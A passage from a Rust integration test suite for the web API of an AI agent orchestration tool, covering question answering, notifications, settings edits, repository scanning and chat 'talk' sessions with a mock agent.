8208 fx.get("/api/health").await.json()["questions_needs_owner"],
8209 1
8210 );
8211
8212 let res = fx
8218 .post(
8219 &format!("/api/questions/{id}/say"),
8220 Some(r#"{"body":"why not Postgres?"}"#),
8221 )
8222 .await;
8223 assert_eq!(res.status, 200, "{}", res.body);
8224 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8225 assert_eq!(
8226 fx.get("/api/health").await.json()["questions_needs_owner"],
8227 0,
8228 "waiting on the agent is not waiting on the owner"
8229 );
8230
8231 let mut q = store.get(&id).expect("get");
8235 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
8236 .expect("reply");
8237 store.put(&mut q).expect("put");
8238 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8239 assert_eq!(
8240 fx.get("/api/health").await.json()["questions_needs_owner"],
8241 1,
8242 "the agent's reply is what should light the banner back up"
8243 );
8244 }
8245
8246 #[tokio::test]
8247 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
8248 let fx = Fixture::start().await;
8249 let store = fx.questions();
8250
8251 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8252 let res = fx
8253 .post(
8254 &format!("/api/questions/{empty_id}/say"),
8255 Some(r#"{"body":" "}"#),
8256 )
8257 .await;
8258 assert_eq!(res.status, 400, "{}", res.body);
8259
8260 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8261 let mut answered = store.get(&answered_id).expect("get");
8262 answered
8263 .answer(Answer::Choice("SQLite".to_owned()))
8264 .expect("answer");
8265 store.put(&mut answered).expect("put");
8266 let res = fx
8267 .post(
8268 &format!("/api/questions/{answered_id}/say"),
8269 Some(r#"{"body":"still there?"}"#),
8270 )
8271 .await;
8272 assert_eq!(res.status, 409, "{}", res.body);
8273
8274 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8275 let mut abandoned = store.get(&abandoned_id).expect("get");
8276 abandoned.abandon("timed out");
8277 store.put(&mut abandoned).expect("put");
8278 let res = fx
8279 .post(
8280 &format!("/api/questions/{abandoned_id}/say"),
8281 Some(r#"{"body":"still there?"}"#),
8282 )
8283 .await;
8284 assert_eq!(res.status, 409, "{}", res.body);
8285 }
8286
8287 #[tokio::test]
8288 async fn an_answer_the_question_does_not_offer_is_refused() {
8289 let fx = Fixture::start().await;
8290 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8291 let path = format!("/api/questions/{id}/answer");
8292
8293 for body in [
8294 r#"{"choice":"Postgres"}"#,
8295 r#"{"text":"whatever you think"}"#,
8296 r#"{"choice":"Redis","text":"both"}"#,
8297 r#"{}"#,
8298 ] {
8299 let res = fx.post(&path, Some(body)).await;
8300 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
8301 assert!(res.json()["error"].is_string(), "{}", res.body);
8302 }
8303 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8305 }
8306
8307 #[tokio::test]
8308 async fn a_free_text_question_takes_text_and_not_a_choice() {
8309 let fx = Fixture::start().await;
8310 let id = ask(&fx, "What should the flag be called?", &[]);
8311 let path = format!("/api/questions/{id}/answer");
8312
8313 assert_eq!(
8314 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
8315 400
8316 );
8317 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
8318 assert_eq!(res.status, 200, "{}", res.body);
8319 assert_eq!(res.json()["answer"]["text"], "--json");
8320 }
8321
8322 #[tokio::test]
8323 async fn an_unknown_question_is_a_json_404() {
8324 let fx = Fixture::start().await;
8325 let res = fx
8326 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
8327 .await;
8328 assert_eq!(res.status, 404, "{}", res.body);
8329 assert!(res.json()["error"].is_string());
8330 }
8331
8332 #[tokio::test]
8333 async fn notifications_list_read_dismiss_and_health_agree() {
8334 let fx = Fixture::start().await;
8335 let store = Notices::at(fx.home.path().join("notifications"));
8336 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
8337 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
8338
8339 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
8340 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
8341
8342 let health = fx.get("/api/health").await.json();
8343 assert_eq!(health["notifications_unread"], 2);
8344 assert_ne!(
8345 health["notifications_rev"], rev0,
8346 "the badge must move live"
8347 );
8348
8349 let listed = fx.get("/api/notifications").await.json();
8350 assert_eq!(listed["unread"], 2);
8351 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
8352 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
8353
8354 let read = fx
8355 .post(&format!("/api/notifications/{}/read", a.id), None)
8356 .await;
8357 assert_eq!(read.status, 200, "{}", read.body);
8358 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
8359
8360 let gone = fx
8361 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
8362 .await;
8363 assert_eq!(gone.status, 200, "{}", gone.body);
8364 let listed = fx.get("/api/notifications").await.json();
8365 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
8366 assert_eq!(listed["unread"], 0);
8367
8368 store.raise(Notice::info("x", "again")).unwrap();
8369 let all = fx.post("/api/notifications/read-all", None).await;
8370 assert_eq!(all.status, 200, "{}", all.body);
8371 assert_eq!(all.json()["marked"], 1);
8372 assert_eq!(
8373 fx.get("/api/health").await.json()["notifications_unread"],
8374 0
8375 );
8376
8377 let missing = fx.post("/api/notifications/nope/read", None).await;
8378 assert_eq!(missing.status, 404, "{}", missing.body);
8379 assert!(missing.json()["error"].is_string());
8380 }
8381
8382 #[tokio::test]
8389 async fn a_task_cannot_be_filed_over_the_phone_directly() {
8390 let f = Fixture::start().await;
8391
8392 let res = f
8393 .post(
8394 "/api/queue",
8395 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
8396 )
8397 .await;
8398
8399 assert_eq!(
8400 res.status, 405,
8401 "POST /api/queue must not be a route: {}",
8402 res.body
8403 );
8404 assert!(
8405 f.queue().list().is_empty(),
8406 "a task filed by a route that does not exist must not reach the disk"
8407 );
8408 assert_eq!(f.get("/api/queue").await.status, 200);
8411 }
8412
8413 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
8415 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
8416 .expect("checkout dir");
8417 }
8418
8419 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
8421
8422 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
8423 let tmp = TempDir::new().expect("tempdir");
8424 let repo = tmp.path().join("repo");
8425 std::fs::create_dir_all(&repo).expect("repo dir");
8426 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
8427 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
8428 if let Some(text) = machine_toml {
8429 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
8430 std::fs::write(&machine, text).expect("machine toml");
8431 }
8432 (tmp, repo, machine)
8433 }
8434
8435 #[tokio::test]
8436 async fn settings_get_reports_sources_and_the_advisors_fallback() {
8437 let (_tmp, repo, machine) =
8438 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
8439 let f = Fixture::with_repo_and_machine(repo, machine).await;
8440 let res = f.get("/api/settings").await;
8441 assert_eq!(res.status, 200, "{}", res.body);
8442 let v = res.json();
8443 assert!(v["error"].is_null(), "{v}");
8444 let role = |k: &str| {
8445 v["roles"]
8446 .as_array()
8447 .and_then(|r| r.iter().find(|x| x["key"] == k))
8448 .cloned()
8449 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8450 };
8451 assert_eq!(role("judges")["source"], "machine");
8452 assert_eq!(role("judges")["editable"], true);
8453 assert_eq!(role("implementers")["source"], "default");
8454 let adv = role("advisors");
8455 assert_eq!(adv["fallback"], "judges");
8456 assert!(
8457 adv["seats"]
8458 .as_array()
8459 .is_some_and(|s| s.iter().all(|x| x == "b")),
8460 "{adv}"
8461 );
8462 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
8463 assert_eq!(v["agents"][0]["source"], "repo");
8464 }
8465
8466 #[tokio::test]
8467 async fn settings_get_reports_a_config_that_does_not_parse() {
8468 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
8469 let f = Fixture::with_repo_and_machine(repo, machine).await;
8470 let res = f.get("/api/settings").await;
8471 assert_eq!(res.status, 200, "{}", res.body);
8472 let v = res.json();
8473 assert!(v["error"]["message"].is_string(), "{v}");
8474 assert!(
8475 v["error"]["path"]
8476 .as_str()
8477 .is_some_and(|p| p.ends_with("magi.toml")),
8478 "{v}"
8479 );
8480 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
8481 }
8482
8483 #[tokio::test]
8484 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
8485 let (_tmp, repo, machine) = settings_dirs(
8486 SETTINGS_AGENTS,
8487 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
8488 );
8489 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
8490 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
8491 let rev = f.get("/api/settings").await.json()["revision"]
8492 .as_str()
8493 .expect("revision")
8494 .to_owned();
8495 let body = serde_json::json!({
8496 "revision": rev,
8497 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
8498 })
8499 .to_string();
8500 let res = f.put("/api/settings/roles", &body).await;
8501 assert_eq!(res.status, 200, "{}", res.body);
8502 let text = std::fs::read_to_string(&machine).expect("machine");
8503 assert_eq!(
8504 text,
8505 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
8506 );
8507 assert_eq!(
8508 std::fs::read(repo.join("magi.toml")).expect("read"),
8509 repo_before
8510 );
8511 let again = f.get("/api/settings").await.json();
8512 let judges = again["roles"]
8513 .as_array()
8514 .expect("roles")
8515 .iter()
8516 .find(|r| r["key"] == "judges")
8517 .expect("judges")
8518 .clone();
8519 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
8520 let stale = f.put("/api/settings/roles", &body).await;
8522 assert_eq!(stale.status, 409, "{}", stale.body);
8523 }
8524
8525 #[tokio::test]
8526 async fn settings_counts_are_reported_and_saved() {
8527 let (_tmp, repo, machine) = settings_dirs(
8528 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
8529 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
8530 );
8531 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8532 let v = f.get("/api/settings").await.json();
8533 let count = |v: &serde_json::Value, k: &str| {
8534 v["roles"]
8535 .as_array()
8536 .and_then(|r| r.iter().find(|x| x["key"] == k))
8537 .map(|x| x["count"].clone())
8538 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8539 };
8540 let imp = count(&v, "implementers");
8541 assert_eq!(imp["value"], 2);
8542 assert_eq!(imp["source"], "machine");
8543 assert_eq!(imp["file_key"], "candidates");
8544 assert_eq!(imp["roster_len"], 2);
8545 assert_eq!(imp["backups"], 0);
8546 assert_eq!(count(&v, "judges")["source"], "default");
8547 assert_eq!(count(&v, "advisors")["min"], 0);
8548 assert_eq!(count(&v, "reviewers")["editable"], false);
8549 assert!(
8550 count(&v, "reviewers")["locked_reason"]
8551 .as_str()
8552 .is_some_and(|m| m.contains("graph.reviewers"))
8553 );
8554 assert!(count(&v, "fixer").is_null());
8555 let rev = v["revision"].as_str().expect("revision").to_owned();
8556 let body = serde_json::json!({
8557 "revision": rev,
8558 "roles": { "judges": ["b"] },
8559 "counts": { "implementers": 1, "advisors": 0 }
8560 })
8561 .to_string();
8562 let res = f.put("/api/settings/roles", &body).await;
8563 assert_eq!(res.status, 200, "{}", res.body);
8564 let text = std::fs::read_to_string(&machine).expect("machine");
8565 assert_eq!(
8566 text,
8567 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
8568 );
8569 let after = f.get("/api/settings").await.json();
8570 assert_eq!(count(&after, "implementers")["value"], 1);
8571 assert_eq!(count(&after, "implementers")["backups"], 1);
8572 assert_eq!(count(&after, "advisors")["value"], 0);
8573 let before = std::fs::read_to_string(&machine).expect("machine");
8574 let rev = after["revision"].as_str().expect("revision").to_owned();
8575 for counts in [
8576 serde_json::json!({ "judges": 0 }),
8577 serde_json::json!({ "judges": "x" }),
8578 serde_json::json!({ "judges": 2.5 }),
8579 serde_json::json!({ "judges": -1 }),
8580 serde_json::json!({ "reviewers": 3 }),
8581 serde_json::json!({ "bogus": 3 }),
8582 ] {
8583 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
8584 let res = f.put("/api/settings/roles", &body).await;
8585 assert_eq!(res.status, 422, "{counts}: {}", res.body);
8586 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
8587 }
8588 }
8589
8590 #[tokio::test]
8591 async fn settings_put_refuses_without_touching_the_file() {
8592 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
8593 let (_tmp, repo, machine) = settings_dirs(
8594 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
8595 Some(machine_text),
8596 );
8597 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8598 let rev = f.get("/api/settings").await.json()["revision"]
8599 .as_str()
8600 .expect("revision")
8601 .to_owned();
8602 for roles in [
8603 serde_json::json!({ "judges": ["nope"] }),
8604 serde_json::json!({ "reviewers": ["b"] }),
8605 serde_json::json!({ "bogus": ["a"] }),
8606 ] {
8607 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
8608 let res = f.put("/api/settings/roles", &body).await;
8609 assert_eq!(res.status, 422, "{roles}: {}", res.body);
8610 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
8611 assert_eq!(
8612 std::fs::read_to_string(&machine).expect("machine"),
8613 machine_text
8614 );
8615 }
8616 }
8617
8618 #[tokio::test]
8619 async fn repos_list_returns_name_and_path_for_every_configured_root() {
8620 let tmp = TempDir::new().expect("tempdir");
8621 let repo = tmp.path().join("repo");
8622 std::fs::create_dir_all(&repo).expect("repo dir");
8623 let root = tmp.path().join("root");
8624 make_checkout(&root, "github.com", "yukimemi", "magi");
8625 std::fs::write(
8626 repo.join("magi.toml"),
8627 format!(
8628 "[repos]\nroots = [{:?}]\n",
8629 root.to_string_lossy().into_owned()
8630 ),
8631 )
8632 .expect("write magi.toml");
8633
8634 let f = Fixture::with_repo(repo).await;
8635 let res = f.get("/api/repos").await;
8636 assert_eq!(res.status, 200, "{}", res.body);
8637 let list = res.json();
8638 let repos = list.as_array().expect("an array");
8639 assert_eq!(repos.len(), 1);
8640 assert_eq!(repos[0]["name"], "yukimemi/magi");
8641 assert!(
8642 repos[0]["path"]
8643 .as_str()
8644 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
8645 "{list}"
8646 );
8647 }
8648
8649 #[tokio::test]
8650 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
8651 let tmp = TempDir::new().expect("tempdir");
8652 let repo = tmp.path().join("repo");
8653 std::fs::create_dir_all(&repo).expect("repo dir");
8654 let root = tmp.path().join("root");
8655 make_checkout(&root, "github.com", "yukimemi", "magi");
8656 std::fs::write(
8657 repo.join("magi.toml"),
8658 format!(
8659 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
8660 root.to_string_lossy().into_owned()
8661 ),
8662 )
8663 .expect("write magi.toml");
8664
8665 let f = Fixture::with_repo(repo).await;
8666 let first = f.get("/api/repos").await;
8667 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
8668
8669 make_checkout(&root, "github.com", "yukimemi", "rvpm");
8672 let second = f.get("/api/repos").await;
8673 assert_eq!(
8674 second.json().as_array().map(Vec::len),
8675 Some(1),
8676 "a fresh cache must not rescan inside the TTL"
8677 );
8678
8679 let refreshed = f.get("/api/repos?refresh=1").await;
8680 assert_eq!(
8681 refreshed.json().as_array().map(Vec::len),
8682 Some(2),
8683 "an explicit refresh must rescan even inside the TTL"
8684 );
8685 }
8686
8687 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
8693
8694 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
8698 let tmp = TempDir::new().expect("tempdir");
8699 let repo = tmp.path().join("repo");
8700 std::fs::create_dir_all(&repo).expect("repo dir");
8701 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8702 let f = Fixture::with_repo(repo.clone()).await;
8703 (tmp, repo, f)
8704 }
8705
8706 #[tokio::test]
8707 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
8708 let (_tmp, _repo, f) = talk_fixture().await;
8709
8710 let opened = f.post("/api/talks", None).await;
8713 assert_eq!(opened.status, 201, "{}", opened.body);
8714 let body = opened.json();
8715 assert_eq!(body["status"], "open");
8716 assert_eq!(
8717 body["turns"].as_array().unwrap().len(),
8718 0,
8719 "opening takes no agent turn: there is nothing yet to answer"
8720 );
8721
8722 let also_opened = f.post("/api/talks", Some("{}")).await;
8724 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
8725
8726 let listed = f.get("/api/talks").await.json();
8727 assert_eq!(listed.as_array().unwrap().len(), 2);
8728 }
8729
8730 #[tokio::test]
8731 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
8732 let tmp = TempDir::new().expect("tempdir");
8733 let repo = tmp.path().join("repo");
8734 std::fs::create_dir_all(&repo).expect("repo dir");
8735 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
8736 std::fs::write(
8737 repo.join("magi.toml"),
8738 format!("{MOCK_AGENT_TOML}\n{second}"),
8739 )
8740 .expect("write magi.toml");
8741 let home = TempDir::new().expect("temp home");
8742 let talks = Talks::at(home.path().join("talks"));
8743 let ui = Arc::new(
8744 Ui::new(
8745 Queue::at(home.path().join("queue")),
8746 Questions::at(home.path().join("questions")),
8747 talks.clone(),
8748 home.path().join("runs"),
8749 home.path().to_path_buf(),
8750 repo.clone(),
8751 )
8752 .with_worktrees_root(home.path().join("wt")),
8753 );
8754 let cfg = config_for(&repo).await.expect("discover config");
8755 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
8756 let id = talk.id.clone();
8757 let call = |agent: &str| {
8758 talk_agent(
8759 State(Arc::clone(&ui)),
8760 Path(id.clone()),
8761 Json(TalkAgent {
8762 agent: agent.to_owned(),
8763 }),
8764 )
8765 };
8766
8767 let unknown = call("nobody").await.expect_err("unknown agent");
8768 assert_eq!(
8769 unknown.status,
8770 StatusCode::BAD_REQUEST,
8771 "{}",
8772 unknown.message
8773 );
8774
8775 {
8776 let mut claimed = None;
8779 for _ in 0..200 {
8780 claimed = ui.begin_talk_turn(&id).expect("claim");
8781 if claimed.is_some() {
8782 break;
8783 }
8784 tokio::time::sleep(Duration::from_millis(10)).await;
8785 }
8786 let _busy = claimed.expect("free");
8787 let busy = call("second").await.expect_err("busy talk");
8788 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
8789 }
8790 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
8791
8792 let Json(view) = call("second").await.expect("switch");
8793 assert_eq!(view.talk.agent, "second");
8794 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
8795 let saved = talks.get(&id).expect("reload");
8796 assert_eq!(saved.agent, "second");
8797 assert_eq!(saved.turns.len(), 1);
8798
8799 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
8800 .await
8801 .expect("detail");
8802 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
8803 assert_eq!(roster, ["mock", "second"]);
8804
8805 let mut closed = talks.get(&id).expect("reload");
8806 talk::close(&mut closed, &talks).expect("close");
8807 let refused = call("mock").await.expect_err("closed talk");
8808 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
8809 }
8810
8811 #[tokio::test]
8812 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
8813 let tmp = TempDir::new().expect("tempdir");
8814 let repo = tmp.path().join("repo");
8815 std::fs::create_dir_all(&repo).expect("repo dir");
8816 std::fs::write(
8817 repo.join("magi.toml"),
8818 format!(
8819 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
8820 ),
8821 )
8822 .expect("write magi.toml");
8823 let home = TempDir::new().expect("temp home");
8824 let talks = Talks::at(home.path().join("talks"));
8825 let ui = Arc::new(
8826 Ui::new(
8827 Queue::at(home.path().join("queue")),
8828 Questions::at(home.path().join("questions")),
8829 talks.clone(),
8830 home.path().join("runs"),
8831 home.path().to_path_buf(),
8832 repo.clone(),
8833 )
8834 .with_worktrees_root(home.path().join("wt")),
8835 );
8836 let cfg = config_for(&repo).await.expect("discover config");
8837 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
8838 let id = talk.id.clone();
8839 let call = |persona: &str| {
8840 talk_persona(
8841 State(Arc::clone(&ui)),
8842 Path(id.clone()),
8843 Json(TalkPersona {
8844 persona: persona.to_owned(),
8845 }),
8846 )
8847 };
8848
8849 let unknown = call("nobody").await.expect_err("unknown persona");
8850 assert_eq!(
8851 unknown.status,
8852 StatusCode::BAD_REQUEST,
8853 "{}",
8854 unknown.message
8855 );
8856
8857 {
8858 let mut claimed = None;
8859 for _ in 0..200 {
8860 claimed = ui.begin_talk_turn(&id).expect("claim");
8861 if claimed.is_some() {
8862 break;
8863 }
8864 tokio::time::sleep(Duration::from_millis(10)).await;
8865 }
8866 let _busy = claimed.expect("free");
8867 let busy = call("rei").await.expect_err("busy talk");
8868 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
8869 }
8870 assert_eq!(talks.get(&id).expect("reload").persona, "");
8871
8872 let Json(view) = call("gendo").await.expect("switch to a configured persona");
8873 assert_eq!(view.talk.persona, "gendo");
8874 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
8875
8876 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
8877 .await
8878 .expect("detail");
8879 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
8880 assert_eq!(ids.first(), Some(&"default"));
8881 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
8882
8883 let Json(view) = call("default").await.expect("back to default");
8884 assert_eq!(view.talk.persona, "");
8885
8886 let mut closed = talks.get(&id).expect("reload");
8887 talk::close(&mut closed, &talks).expect("close");
8888 let refused = call("rei").await.expect_err("closed talk");
8889 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
8890 }
8891
8892 #[tokio::test]
8893 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
8894 let f = Fixture::start().await;
8895 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
8896 let queue = f.queue();
8897 let mut mine = Task::new(
8898 "rename the loader".to_owned(),
8899 "rename the loader".to_owned(),
8900 PathBuf::from("/repo/magi"),
8901 Source::Agent {
8902 run: talk_id.clone(),
8903 node: "chat".to_owned(),
8904 },
8905 );
8906 queue.put(&mut mine).expect("file the task");
8907 let mut theirs = Task::new(
8908 "unrelated".to_owned(),
8909 "unrelated".to_owned(),
8910 PathBuf::from("/repo/magi"),
8911 Source::Human,
8912 );
8913 queue.put(&mut theirs).expect("file the task");
8914
8915 let res = f.get(&format!("/api/talks/{talk_id}")).await;
8916 assert_eq!(res.status, 200, "{}", res.body);
8917 let body = res.json();
8918 assert_eq!(
8919 body["status"], "open",
8920 "filing a task does not close a talk"
8921 );
8922 let tasks = body["tasks"].as_array().expect("tasks array");
8923 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
8924 assert_eq!(tasks[0]["id"], mine.id);
8925 }
8926
8927 #[tokio::test]
8928 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
8929 let (_tmp, _repo, f) = talk_fixture().await;
8930 let id = f.post("/api/talks", None).await.json()["id"]
8931 .as_str()
8932 .expect("id")
8933 .to_owned();
8934
8935 let res = f
8936 .post(
8937 &format!("/api/talks/{id}/say"),
8938 Some(r#"{"text":"what does the queue module do?"}"#),
8939 )
8940 .await;
8941 assert_eq!(res.status, 202, "{}", res.body);
8942 let queued = res.json();
8943 let turns = queued["turns"].as_array().expect("turns array");
8944 assert_eq!(
8945 turns.len(),
8946 1,
8947 "the answer reflects only what is on disk the instant it is sent, \
8948 before the agent's turn - which can run for the whole of \
8949 `[graph] timeout_talk` - has a chance to land: {queued}"
8950 );
8951 assert_eq!(turns[0]["who"], "operator");
8952 assert_eq!(turns[0]["body"], "what does the queue module do?");
8953 assert_eq!(
8954 queued["thinking"], true,
8955 "the accepted response exposes the background turn claim: {queued}"
8956 );
8957
8958 let mut turns_after = 1;
8959 for _ in 0..SETTLE_STEPS {
8960 let detail = f.get(&format!("/api/talks/{id}")).await.json();
8961 turns_after = detail["turns"].as_array().expect("turns array").len();
8962 if turns_after == 2 {
8963 break;
8964 }
8965 tokio::time::sleep(Duration::from_millis(10)).await;
8966 }
8967 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
8968 }
8969
8970 #[tokio::test]
8997 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
8998 let tmp = TempDir::new().expect("tempdir");
8999 let repo = tmp.path().join("repo");
9000 std::fs::create_dir_all(&repo).expect("repo dir");
9001 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9002 let home = TempDir::new().expect("temp home");
9003 let talks = Talks::at(home.path().join("talks"));
9004 let ui = Arc::new(
9005 Ui::new(
9006 Queue::at(home.path().join("queue")),
9007 Questions::at(home.path().join("questions")),
9008 talks.clone(),
9009 home.path().join("runs"),
9010 home.path().to_path_buf(),
9011 repo.clone(),
9012 )
9013 .with_worktrees_root(home.path().join("wt")),
9014 );
9015 let cfg = config_for(&repo).await.expect("discover config");
9016
9017 for delay in 0..40u32 {
9018 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9019 let id = talk.id.clone();
9020
9021 let handler = tokio::spawn(talk_say(
9022 State(Arc::clone(&ui)),
9023 Path(id.clone()),
9024 Ok(Json(NewTalkTurn {
9025 text: "what does the queue module do?".to_owned(),
9026 attachments: Vec::new(),
9027 })),
9028 ));
9029 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
9030 handler.abort();
9031 let _ = handler.await;
9034
9035 let mut turns = 0;
9036 for _ in 0..SETTLE_STEPS {
9037 if let Ok(fresh) = talks.get(&id) {
9038 turns = fresh.turns.len();
9039 if turns != 1 {
9040 break;
9041 }
9042 }
9043 tokio::time::sleep(Duration::from_millis(10)).await;
9044 }
9045 assert_ne!(
9046 turns, 1,
9047 "delay {delay}: talk {id} recorded the operator's turn but \
9048 the agent never answered - the reply task was never \
9049 started after the handler future was dropped"
9050 );
9051 }
9052 }
9053
9054 #[tokio::test]
9099 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
9100 let tmp = TempDir::new().expect("tempdir");
9101 let repo = tmp.path().join("repo");
9102 std::fs::create_dir_all(&repo).expect("repo dir");
9103 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9104 let home = TempDir::new().expect("temp home");
9105 let talks = Talks::at(home.path().join("talks"));
9106 let ui = Arc::new(
9107 Ui::new(
9108 Queue::at(home.path().join("queue")),
9109 Questions::at(home.path().join("questions")),
9110 talks.clone(),
9111 home.path().join("runs"),
9112 home.path().to_path_buf(),
9113 repo.clone(),
9114 )
9115 .with_worktrees_root(home.path().join("wt")),
9116 );
9117 let cfg = config_for(&repo).await.expect("discover config");
9118
9119 for attempt in 0..3u32 {
9120 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9121 let id = talk.id.clone();
9122 let turn_guard = ui
9125 .begin_talk_turn(&id)
9126 .expect("claim the turn")
9127 .expect("a fresh talk owes nobody a turn");
9128
9129 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
9130 let (release_tx, release_rx) = std::sync::mpsc::channel();
9131 ui.set_busy_queue_gate(BusyQueueGate {
9132 reached: reached_tx,
9133 release: release_rx,
9134 });
9135
9136 let handler = tokio::spawn(talk_say(
9137 State(Arc::clone(&ui)),
9138 Path(id.clone()),
9139 Ok(Json(NewTalkTurn {
9140 text: "what does the queue module do?".to_owned(),
9141 attachments: Vec::new(),
9142 })),
9143 ));
9144
9145 tokio::time::timeout(Duration::from_secs(5), reached_rx)
9150 .await
9151 .unwrap_or_else(|_| {
9152 panic!(
9153 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
9154 )
9155 })
9156 .expect("the busy branch dropped the gate without using it");
9157
9158 let running = talks.get(&id).expect("reload talk");
9165 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
9166
9167 handler.abort();
9171 let _ = handler.await;
9172
9173 let _ = release_tx.send(());
9179
9180 let mut fresh = talks.get(&id).expect("reload talk");
9183 for _ in 0..SETTLE_STEPS {
9184 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
9185 break;
9186 }
9187 tokio::time::sleep(Duration::from_millis(10)).await;
9188 fresh = talks.get(&id).expect("reload talk");
9189 }
9190 assert!(
9191 fresh.pending.is_empty() && fresh.turns.len() == 2,
